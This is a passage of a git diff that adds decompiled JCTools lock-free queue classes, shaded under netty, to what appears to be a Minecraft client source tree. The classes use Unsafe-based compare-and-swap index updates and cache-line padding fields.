+      UnsafeRefArrayAccess.soElement(buffer, calcElementOffset(pIndex, mask), s.get());
+      soSequence(sBuffer, seqOffset, pIndex + 1L);
+    }
+    return limit;
+  }
+  
+
+
+  public void drain(MessagePassingQueue.Consumer<E> c, MessagePassingQueue.WaitStrategy w, MessagePassingQueue.ExitCondition exit)
+  {
+    int idleCounter = 0;
+    while (exit.keepRunning()) {
+      if (drain(c, RECOMENDED_POLL_BATCH) == 0) {
+        idleCounter = w.idle(idleCounter);
+      }
+      else {
+        idleCounter = 0;
+      }
+    }
+  }
+  
+
+  public void fill(MessagePassingQueue.Supplier<E> s, MessagePassingQueue.WaitStrategy w, MessagePassingQueue.ExitCondition exit)
+  {
+    int idleCounter = 0;
+    while (exit.keepRunning()) {
+      if (fill(s, RECOMENDED_OFFER_BATCH) == 0) {
+        idleCounter = w.idle(idleCounter);
+      }
+      else {
+        idleCounter = 0;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueConsumerField.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueConsumerField.java
new file mode 100644
index 0000000..a77e595
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueConsumerField.java
@@ -0,0 +1,87 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class MpmcArrayQueueConsumerField<E>
+  extends MpmcArrayQueueL2Pad<E>
+{
+  private static final long C_INDEX_OFFSET;
+  private volatile long consumerIndex;
+  
+  static
+  {
+    try
+    {
+      C_INDEX_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(MpmcArrayQueueConsumerField.class
+        .getDeclaredField("consumerIndex"));
+    } catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+  public MpmcArrayQueueConsumerField(int capacity)
+  {
+    super(capacity);
+  }
+  
+  protected final long lvConsumerIndex() {
+    return consumerIndex;
+  }
+  
+  protected final boolean casConsumerIndex(long expect, long newValue) {
+    return UnsafeAccess.UNSAFE.compareAndSwapLong(this, C_INDEX_OFFSET, expect, newValue);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueL1Pad.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueL1Pad.java
new file mode 100644
index 0000000..e4355b5
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueL1Pad.java
@@ -0,0 +1,29 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+
+abstract class MpmcArrayQueueL1Pad<E>
+  extends ConcurrentSequencedCircularArrayQueue<E>
+{
+  long p00;
+  
+  long p01;
+  
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  
+  public MpmcArrayQueueL1Pad(int capacity)
+  {
+    super(capacity);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueL2Pad.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueL2Pad.java
new file mode 100644
index 0000000..1d923cc
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueL2Pad.java
@@ -0,0 +1,62 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+
+
+
+abstract class MpmcArrayQueueL2Pad<E>
+  extends MpmcArrayQueueProducerField<E>
+{
+  long p01;
+  
+
+
+  long p02;
+  
+
+
+  long p03;
+  
+
+
+  long p04;
+  
+
+  long p05;
+  
+
+  long p06;
+  
+
+  long p07;
+  
+
+  long p10;
+  
+
+  long p11;
+  
+
+  long p12;
+  
+
+  long p13;
+  
+
+  long p14;
+  
+
+  long p15;
+  
+
+  long p16;
+  
+
+  long p17;
+  
+
+
+  public MpmcArrayQueueL2Pad(int capacity)
+  {
+    super(capacity);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueProducerField.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueProducerField.java
new file mode 100644
index 0000000..7b97943
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpmcArrayQueueProducerField.java
@@ -0,0 +1,54 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class MpmcArrayQueueProducerField<E>
+  extends MpmcArrayQueueL1Pad<E>
+{
+  private static final long P_INDEX_OFFSET;
+  private volatile long producerIndex;
+  
+  static
+  {
+    try
+    {
+      P_INDEX_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(MpmcArrayQueueProducerField.class
+        .getDeclaredField("producerIndex"));
+    } catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+  public MpmcArrayQueueProducerField(int capacity)
+  {
+    super(capacity);
+  }
+  
+  protected final long lvProducerIndex() {
+    return producerIndex;
+  }
+  
+  protected final boolean casProducerIndex(long expect, long newValue) {
+    return UnsafeAccess.UNSAFE.compareAndSwapLong(this, P_INDEX_OFFSET, expect, newValue);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueue.java
new file mode 100644
index 0000000..14f1538
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueue.java
@@ -0,0 +1,546 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeRefArrayAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MpscArrayQueue<E>
+  extends MpscArrayQueueConsumerField<E>
+  implements QueueProgressIndicators
+{
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  
+  public MpscArrayQueue(int capacity)
+  {
+    super(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public boolean offerIfBelowThreshold(E e, int threshold)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    long mask = this.mask;
+    long capacity = mask + 1L;
+    
+    long producerLimit = lvProducerLimit();
+    long pIndex;
+    do {
+      pIndex = lvProducerIndex();
+      long available = producerLimit - pIndex;
+      long size = capacity - available;
+      if (size >= threshold) {
+        long cIndex = lvConsumerIndex();
+        size = pIndex - cIndex;
+        if (size >= threshold) {
+          return false;
+        }
+        
+
+        producerLimit = cIndex + capacity;
+        
+
+        soProducerLimit(producerLimit);
+      }
+      
+    } while (!casProducerIndex(pIndex, pIndex + 1L));
+    
+
+
+
+
+
+    long offset = calcElementOffset(pIndex, mask);
+    UnsafeRefArrayAccess.soElement(buffer, offset, e);
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean offer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    
+
+    long mask = this.mask;
+    long producerLimit = lvProducerLimit();
+    long pIndex;
+    do {
+      pIndex = lvProducerIndex();
+      if (pIndex >= producerLimit) {
+        long cIndex = lvConsumerIndex();
+        producerLimit = cIndex + mask + 1L;
+        
+        if (pIndex >= producerLimit) {
+          return false;
+        }
+        
+
+
+        soProducerLimit(producerLimit);
+      }
+      
+    } while (!casProducerIndex(pIndex, pIndex + 1L));
+    
+
+
+
+
+
+    long offset = calcElementOffset(pIndex, mask);
+    UnsafeRefArrayAccess.soElement(buffer, offset, e);
+    return true;
+  }
+  
+
+
+
+
+
+  public final int failFastOffer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    long mask = this.mask;
+    long capacity = mask + 1L;
+    long pIndex = lvProducerIndex();
+    long producerLimit = lvProducerLimit();
+    if (pIndex >= producerLimit) {
+      long cIndex = lvConsumerIndex();
+      producerLimit = cIndex + capacity;
+      if (pIndex >= producerLimit) {
+        return 1;
+      }
+      
+
+      soProducerLimit(producerLimit);
+    }
+    
+
+
+    if (!casProducerIndex(pIndex, pIndex + 1L)) {
+      return -1;
+    }
+    
+
+    long offset = calcElementOffset(pIndex, mask);
+    UnsafeRefArrayAccess.soElement(buffer, offset, e);
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public E poll()
+  {
+    long cIndex = lpConsumerIndex();
+    long offset = calcElementOffset(cIndex);
+    
+    E[] buffer = this.buffer;
+    
+
+    E e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+    if (null == e)
+    {
+
+
+
+
+      if (cIndex != lvProducerIndex()) {
+        do {
+          e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+        } while (e == null);
+      }
+      else {
+        return null;
+      }
+    }
+    
+    UnsafeRefArrayAccess.spElement(buffer, offset, null);
+    soConsumerIndex(cIndex + 1L);
+    return e;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public E peek()
+  {
+    E[] buffer = this.buffer;
+    
+    long cIndex = lpConsumerIndex();
+    long offset = calcElementOffset(cIndex);
+    E e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+    if (null == e)
+    {
+
+
+
+
+      if (cIndex != lvProducerIndex()) {
+        do {
+          e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+        } while (e == null);
+      }
+      else {
+        return null;
+      }
+    }
+    return e;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public int size()
+  {
+    long afterCIndex = lvConsumerIndex();
+    for (;;) {
+      long beforeCIndex = afterCIndex;
+      long currentProducerIndex = lvProducerIndex();
+      afterCIndex = lvConsumerIndex();
+      if (beforeCIndex == afterCIndex) {
+        return (int)(currentProducerIndex - afterCIndex);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return lvConsumerIndex() == lvProducerIndex();
+  }
+  
+  public long currentProducerIndex()
+  {
+    return lvProducerIndex();
+  }
+  
+  public long currentConsumerIndex()
+  {
+    return lvConsumerIndex();
+  }
+  
+  public boolean relaxedOffer(E e)
+  {
+    return offer(e);
+  }
+  
+  public E relaxedPoll()
+  {
+    E[] buffer = this.buffer;
+    long cIndex = lpConsumerIndex();
+    long offset = calcElementOffset(cIndex);
+    
+
+    E e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+    if (null == e) {
+      return null;
+    }
+    
+    UnsafeRefArrayAccess.spElement(buffer, offset, null);
+    soConsumerIndex(cIndex + 1L);
+    return e;
+  }
+  
+  public E relaxedPeek()
+  {
+    E[] buffer = this.buffer;
+    long mask = this.mask;
+    long cIndex = lpConsumerIndex();
+    return UnsafeRefArrayAccess.lvElement(buffer, calcElementOffset(cIndex, mask));
+  }
+  
+  public int drain(MessagePassingQueue.Consumer<E> c)
+  {
+    return drain(c, capacity());
+  }
+  
+  public int fill(MessagePassingQueue.Supplier<E> s)
+  {
+    long result = 0L;
+    int capacity = capacity();
+    do {
+      int filled = fill(s, MpmcArrayQueue.RECOMENDED_OFFER_BATCH);
+      if (filled == 0) {
+        return (int)result;
+      }
+      result += filled;
+    } while (result <= capacity);
+    return (int)result;
+  }
+  
+  public int drain(MessagePassingQueue.Consumer<E> c, int limit)
+  {
+    E[] buffer = this.buffer;
+    long mask = this.mask;
+    long cIndex = lpConsumerIndex();
+    
+    for (int i = 0; i < limit; i++) {
+      long index = cIndex + i;
+      long offset = calcElementOffset(index, mask);
+      E e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+      if (null == e) {
+        return i;
+      }
+      UnsafeRefArrayAccess.soElement(buffer, offset, null);
+      soConsumerIndex(index + 1L);
+      c.accept(e);
+    }
+    return limit;
+  }
+  
+  public int fill(MessagePassingQueue.Supplier<E> s, int limit)
+  {
+    long mask = this.mask;
+    long capacity = mask + 1L;
+    long producerLimit = lvProducerLimit();
+    
+    int actualLimit = 0;
+    long pIndex;
+    do { pIndex = lvProducerIndex();
+      long available = producerLimit - pIndex;
+      if (available <= 0L) {
+        long cIndex = lvConsumerIndex();
+        producerLimit = cIndex + capacity;
+        available = producerLimit - pIndex;
+        if (available <= 0L) {
+          return 0;
+        }
+        
+
+        soProducerLimit(producerLimit);
+      }
+      
+      actualLimit = Math.min((int)available, limit);
+    } while (!casProducerIndex(pIndex, pIndex + actualLimit));
+    
+    E[] buffer = this.buffer;
+    for (int i = 0; i < actualLimit; i++)
+    {
+      long offset = calcElementOffset(pIndex + i, mask);
+      UnsafeRefArrayAccess.soElement(buffer, offset, s.get());
+    }
+    return actualLimit;
+  }
+  
+  public void drain(MessagePassingQueue.Consumer<E> c, MessagePassingQueue.WaitStrategy w, MessagePassingQueue.ExitCondition exit)
+  {
+    E[] buffer = this.buffer;
+    long mask = this.mask;
+    long cIndex = lpConsumerIndex();
+    
+    int counter = 0;
+    while (exit.keepRunning()) {
+      for (int i = 0; i < 4096; i++) {
+        long offset = calcElementOffset(cIndex, mask);
+        E e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+        if (null == e) {
+          counter = w.idle(counter);
+        }
+        else {
+          cIndex += 1L;
+          counter = 0;
+          UnsafeRefArrayAccess.soElement(buffer, offset, null);
+          soConsumerIndex(cIndex);
+          c.accept(e);
+        }
+      }
+    }
+  }
+  
+  public void fill(MessagePassingQueue.Supplier<E> s, MessagePassingQueue.WaitStrategy w, MessagePassingQueue.ExitCondition exit) {
+    int idleCounter = 0;
+    while (exit.keepRunning()) {
+      if (fill(s, MpmcArrayQueue.RECOMENDED_OFFER_BATCH) == 0) {
+        idleCounter = w.idle(idleCounter);
+      }
+      else {
+        idleCounter = 0;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueConsumerField.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueConsumerField.java
new file mode 100644
index 0000000..91f98d0
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueConsumerField.java
@@ -0,0 +1,135 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class MpscArrayQueueConsumerField<E>
+  extends MpscArrayQueueL2Pad<E>
+{
+  private static final long C_INDEX_OFFSET;
+  protected long consumerIndex;
+  
+  static
+  {
+    try
+    {
+      C_INDEX_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(MpscArrayQueueConsumerField.class.getDeclaredField("consumerIndex"));
+    }
+    catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+
+  public MpscArrayQueueConsumerField(int capacity)
+  {
+    super(capacity);
+  }
+  
+  protected final long lpConsumerIndex() {
+    return consumerIndex;
+  }
+  
+  protected final long lvConsumerIndex() {
+    return UnsafeAccess.UNSAFE.getLongVolatile(this, C_INDEX_OFFSET);
+  }
+  
+  protected void soConsumerIndex(long l) {
+    UnsafeAccess.UNSAFE.putOrderedLong(this, C_INDEX_OFFSET, l);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueHeadLimitField.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueHeadLimitField.java
new file mode 100644
index 0000000..1f78607
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueHeadLimitField.java
@@ -0,0 +1,94 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class MpscArrayQueueHeadLimitField<E>
+  extends MpscArrayQueueMidPad<E>
+{
+  private static final long P_LIMIT_OFFSET;
+  private volatile long producerLimit;
+  
+  static
+  {
+    try
+    {
+      P_LIMIT_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(MpscArrayQueueHeadLimitField.class.getDeclaredField("producerLimit"));
+    }
+    catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+
+  public MpscArrayQueueHeadLimitField(int capacity)
+  {
+    super(capacity);
+    producerLimit = capacity;
+  }
+  
+  protected final long lvProducerLimit() {
+    return producerLimit;
+  }
+  
+  protected final void soProducerLimit(long v) {
+    UnsafeAccess.UNSAFE.putOrderedLong(this, P_LIMIT_OFFSET, v);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueL1Pad.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueL1Pad.java
new file mode 100644
index 0000000..53805bb
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueL1Pad.java
@@ -0,0 +1,28 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+
+abstract class MpscArrayQueueL1Pad<E>
+  extends ConcurrentCircularArrayQueue<E>
+{
+  long p00;
+  
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  
+  public MpscArrayQueueL1Pad(int capacity)
+  {
+    super(capacity);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueL2Pad.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueL2Pad.java
new file mode 100644
index 0000000..945fcd7
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueL2Pad.java
@@ -0,0 +1,103 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+
+
+
+
+
+abstract class MpscArrayQueueL2Pad<E>
+  extends MpscArrayQueueHeadLimitField<E>
+{
+  long p00;
+  
+
+
+
+
+  long p01;
+  
+
+
+
+
+  long p02;
+  
+
+
+
+
+  long p03;
+  
+
+
+
+
+  long p04;
+  
+
+
+
+
+  long p05;
+  
+
+
+
+
+  long p06;
+  
+
+
+
+
+  long p07;
+  
+
+
+
+
+  long p10;
+  
+
+
+
+
+  long p11;
+  
+
+
+
+
+  long p12;
+  
+
+
+
+
+  long p13;
+  
+
+
+
+
+  long p14;
+  
+
+
+
+  long p15;
+  
+
+
+
+  long p16;
+  
+
+
+
+
+  public MpscArrayQueueL2Pad(int capacity)
+  {
+    super(capacity);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueMidPad.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueMidPad.java
new file mode 100644
index 0000000..992b2ff
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueMidPad.java
@@ -0,0 +1,65 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+
+
+
+abstract class MpscArrayQueueMidPad<E>
+  extends MpscArrayQueueTailField<E>
+{
+  long p01;
+  
+
+
+  long p02;
+  
+
+
+  long p03;
+  
+
+
+  long p04;
+  
+
+
+  long p05;
+  
+
+
+  long p06;
+  
+
+
+  long p07;
+  
+
+  long p10;
+  
+
+  long p11;
+  
+
+  long p12;
+  
+
+  long p13;
+  
+
+  long p14;
+  
+
+  long p15;
+  
+
+  long p16;
+  
+
+  long p17;
+  
+
+
+  public MpscArrayQueueMidPad(int capacity)
+  {
+    super(capacity);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueTailField.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueTailField.java
new file mode 100644
index 0000000..8dd873a
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscArrayQueueTailField.java
@@ -0,0 +1,56 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class MpscArrayQueueTailField<E>
+  extends MpscArrayQueueL1Pad<E>
+{
+  private static final long P_INDEX_OFFSET;
+  private volatile long producerIndex;
+  
+  static
+  {
+    try
+    {
+      P_INDEX_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(MpscArrayQueueTailField.class.getDeclaredField("producerIndex"));
+    }
+    catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+
+  public MpscArrayQueueTailField(int capacity)
+  {
+    super(capacity);
+  }
+  
+  protected final long lvProducerIndex() {
+    return producerIndex;
+  }
+  
+  protected final boolean casProducerIndex(long expect, long newValue) {
+    return UnsafeAccess.UNSAFE.compareAndSwapLong(this, P_INDEX_OFFSET, expect, newValue);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueue.java b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueue.java
new file mode 100644
index 0000000..71bd0eb
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/shaded/org/jctools/queues/MpscChunkedArrayQueue.java
@@ -0,0 +1,601 @@
+package io.netty.util.internal.shaded.org.jctools.queues;
+
+import io.netty.util.internal.shaded.org.jctools.util.Pow2;
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess;
+import io.netty.util.internal.shaded.org.jctools.util.UnsafeRefArrayAccess;
+import java.lang.reflect.Field;
+import java.util.Iterator;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MpscChunkedArrayQueue<E>
+  extends MpscChunkedArrayQueueConsumerFields<E>
+  implements MessagePassingQueue<E>, QueueProgressIndicators
+{
+  long p0;
+  long p1;
+  long p2;
+  long p3;
+  long p4;
+  long p5;
+  long p6;
+  long p7;
+  long p10;
+  long p11;
+  long p12;
+  long p13;
+  long p14;
+  long p15;
+  long p16;
+  long p17;
+  private static final long P_INDEX_OFFSET;
+  private static final long C_INDEX_OFFSET;
+  private static final long P_LIMIT_OFFSET;
+  
+  static
+  {
+    try
+    {
+      Field iField = MpscChunkedArrayQueueProducerFields.class.getDeclaredField("producerIndex");
+      P_INDEX_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(iField);
+    }
+    catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+    try {
+      Field iField = MpscChunkedArrayQueueConsumerFields.class.getDeclaredField("consumerIndex");
+      C_INDEX_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(iField);
+    }
+    catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+    try {
+      Field iField = MpscChunkedArrayQueueColdProducerFields.class.getDeclaredField("producerLimit");
+      P_LIMIT_OFFSET = UnsafeAccess.UNSAFE.objectFieldOffset(iField);
+    }
+    catch (NoSuchFieldException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+  private static final Object JUMP = new Object();
+  
+  public MpscChunkedArrayQueue(int maxCapacity) {
+    this(Math.max(2, Pow2.roundToPowerOfTwo(maxCapacity / 8)), maxCapacity, false);
+  }
+  
+
+
+
+
+
+
+
+
+  public MpscChunkedArrayQueue(int initialCapacity, int maxCapacity, boolean fixedChunkSize)
+  {
+    if (initialCapacity < 2) {
+      throw new IllegalArgumentException("Initial capacity must be 2 or more");
+    }
+    if (maxCapacity < 4) {
+      throw new IllegalArgumentException("Max capacity must be 4 or more");
+    }
+    if (Pow2.roundToPowerOfTwo(initialCapacity) >= Pow2.roundToPowerOfTwo(maxCapacity)) {
+      throw new IllegalArgumentException("Initial capacity cannot exceed maximum capacity(both rounded up to a power of 2)");
+    }
+    
+
+    int p2capacity = Pow2.roundToPowerOfTwo(initialCapacity);
+    
+    long mask = p2capacity - 1 << 1;
+    
+    E[] buffer = CircularArrayOffsetCalculator.allocate(p2capacity + 1);
+    producerBuffer = buffer;
+    producerMask = mask;
+    consumerBuffer = buffer;
+    consumerMask = mask;
+    maxQueueCapacity = (Pow2.roundToPowerOfTwo(maxCapacity) << 1);
+    isFixedChunkSize = fixedChunkSize;
+    soProducerLimit(mask);
+  }
+  
+  public final Iterator<E> iterator()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean offer(E e)
+  {
+    if (null == e) {
+      throw new NullPointerException();
+    }
+    
+    long pIndex;
+    long mask;
+    E[] buffer;
+    for (;;)
+    {
+      long producerLimit = lvProducerLimit();
+      pIndex = lvProducerIndex();
+      
+      if ((pIndex & 1L) != 1L)
+      {
+
+
+
+
+        mask = producerMask;
+        buffer = producerBuffer;
+        
+
+
+        if (producerLimit <= pIndex) {
+          int result = offerSlowPath(mask, buffer, pIndex, producerLimit);
+          switch (result) {
+          case 0: 
+            break;
+          case 1: 
+            break;
+          case 2: 
+            return false;
+          case 3: 
+            resize(mask, buffer, pIndex, consumerIndex, maxQueueCapacity, e);
+            return true;
+          }
+        }
+        else {
+          if (casProducerIndex(pIndex, pIndex + 2L))
+            break;
+        }
+      }
+    }
+    long offset = modifiedCalcElementOffset(pIndex, mask);
+    UnsafeRefArrayAccess.soElement(buffer, offset, e);
+    return true;
+  }
+  
+  private int offerSlowPath(long mask, E[] buffer, long pIndex, long producerLimit)
+  {
+    long consumerIndex = lvConsumerIndex();
+    long maxQueueCapacity = this.maxQueueCapacity;
+    long bufferCapacity = getCurrentBufferCapacity(mask, maxQueueCapacity);
+    int result = 0;
+    if (consumerIndex + bufferCapacity > pIndex) {
+      if (!casProducerLimit(producerLimit, consumerIndex + bufferCapacity)) {
+        result = 1;
+      }
+      
+    }
+    else if (consumerIndex == pIndex - maxQueueCapacity) {
+      result = 2;
+
+    }
+    else if (casProducerIndex(pIndex, pIndex + 1L)) {
+      result = 3;
+    }
+    else {
+      result = 1;
+    }
+    return result;
+  }
+  
+
+
+
+  private static long modifiedCalcElementOffset(long index, long mask)
+  {
+    return UnsafeRefArrayAccess.REF_ARRAY_BASE + ((index & mask) << UnsafeRefArrayAccess.REF_ELEMENT_SHIFT - 1);
+  }
+  
+
+
+
+
+
+
+  public E poll()
+  {
+    E[] buffer = consumerBuffer;
+    long index = consumerIndex;
+    long mask = consumerMask;
+    
+    long offset = modifiedCalcElementOffset(index, mask);
+    Object e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+    if (e == null) {
+      if (index != lvProducerIndex())
+      {
+        do
+        {
+
+          e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+        } while (e == null);
+      }
+      else {
+        return null;
+      }
+    }
+    if (e == JUMP) {
+      E[] nextBuffer = getNextBuffer(buffer, mask);
+      return newBufferPoll(nextBuffer, index);
+    }
+    UnsafeRefArrayAccess.soElement(buffer, offset, null);
+    soConsumerIndex(index + 2L);
+    return e;
+  }
+  
+
+
+
+
+
+
+  public E peek()
+  {
+    E[] buffer = consumerBuffer;
+    long index = consumerIndex;
+    long mask = consumerMask;
+    
+    long offset = modifiedCalcElementOffset(index, mask);
+    Object e = UnsafeRefArrayAccess.lvElement(buffer, offset);
+    while ((e == null) && (index != lvProducerIndex()) && 
+    
+
+      ((e = UnsafeRefArrayAccess.lvElement(buffer, offset)) == null)) {}
+    
+
+    if (e == JUMP) {
+      return newBufferPeek(getNextBuffer(buffer, mask), index);
+    }
+    return e;
+  }
+  
+  private E[] getNextBuffer(E[] buffer, long mask)
+  {
+    long nextArrayOffset = nextArrayOffset(mask);
+    E[] nextBuffer = (Object[])UnsafeRefArrayAccess.lvElement(buffer, nextArrayOffset);
+    UnsafeRefArrayAccess.soElement(buffer, nextArrayOffset, null);
+    return nextBuffer;
+  }
+  
+  private long nextArrayOffset(long mask) {
+    return modifiedCalcElementOffset(mask + 2L, Long.MAX_VALUE);
+  }
+  
+  private E newBufferPoll(E[] nextBuffer, long index) {
+    long offsetInNew = newBufferAndOffset(nextBuffer, index);
+    E n = UnsafeRefArrayAccess.lvElement(nextBuffer, offsetInNew);
+    if (n == null) {
